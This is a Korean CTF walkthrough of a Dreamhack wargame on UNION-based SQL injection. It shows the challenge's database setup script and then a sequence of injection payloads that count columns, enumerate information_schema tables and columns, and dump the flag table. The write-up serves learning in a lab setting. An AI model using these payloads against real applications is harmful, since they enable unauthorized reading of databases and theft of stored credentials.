https://dreamhack.io/wargame/challenges/984
문제 설명이다.

SQL 인젝션(SQL Injection)이란?
웹 애플리케이션과 데이터베이스 간의 연동에서 발생하는 취약점으로, 공격자가 입력 폼에 악의적으로 조작된 쿼리를 삽입해 데이터베이스 정보를 불법적으로 열람하거나 조작할 수 있는 취약점이다.
UNION SQL Injection
UNION SQL Injection은 기존의 SELECT문에 UNION SELECT문을 추가하여 원하는 정보를 데이터베이스에서 추출하는 공격이다.
UNION 연산자를 사용하기 위해서는 두 가지 조건을 만족해야 한다.
1) 기존의 SELECT문과 UNION SELECT문의 컬럼 수가 동일해야 한다.
2) 각각의 컬럼은 순서 별로 동일한 데이터형이어야 한다.
https://blog.naver.com/sk_shieldus/222734386644
위 글을 참고하자.
들어가면 이런 화면이 떠있다.

뭔가 uid와 upw에 알맞는 정보를 적어야 하는 것 같아서 주어진 소스 코드를 보았다.
#init.sql 파일
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
보면
uid = admin, upw = apple
uid = guest, upw = melon
uid = banana, upw = test
라는 유저들이 있는 것을 확인 할 수 있다.
admin


guest


banana


UNION SELECT 명령어를 이용해 컬럼 수를 확인해 보겠다.
' UNION SELECT 1,2,3,4#


' UNION SELECT 1,database(),3,4# 를 이용해 database 이름이 secret_db라는 것을 알았다.


' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='secret_db';# 를 이용해서 table_name을 찾는다.


onlyflag가 table_name이라는 것을 알았기 때문에 해당 테이블에 접근했다.
' UNION SELECT 1 , column_name, 3,4 FROM information_schema.columns WHERE table_name='onlyflag'#


onlyflag 테이블에 들어있는 column명을 알 수 있다.
주어진 코드에 따르면 flag 값은 svalue, sflag, sclose이 있기 때문에 이것들을 이용해서 코드를 짜보았다.
' UNION SELECT sname, svalue, sflag,sclose FROM onlyflag #

해당 값을 입력해보았지만 정답이 아니라고 뜬다.
찾아보니 위의 명령어를 치면 flag is 문구가 나오게 된다.
하지만 우리가 볼 수 있는 col의 개수가 3개이므로 3개만 출력이 되면서 sflag의 값이 누락된다.
sflag의 값이 누락되어 있는 것을 다시 출력해주기 위해 원하는 flag 값을 얻을 수 있다.
' UNION SELECT svalue, sflag, null, sclose from onlyflag #


이렇게 flag가 뜨게 된다.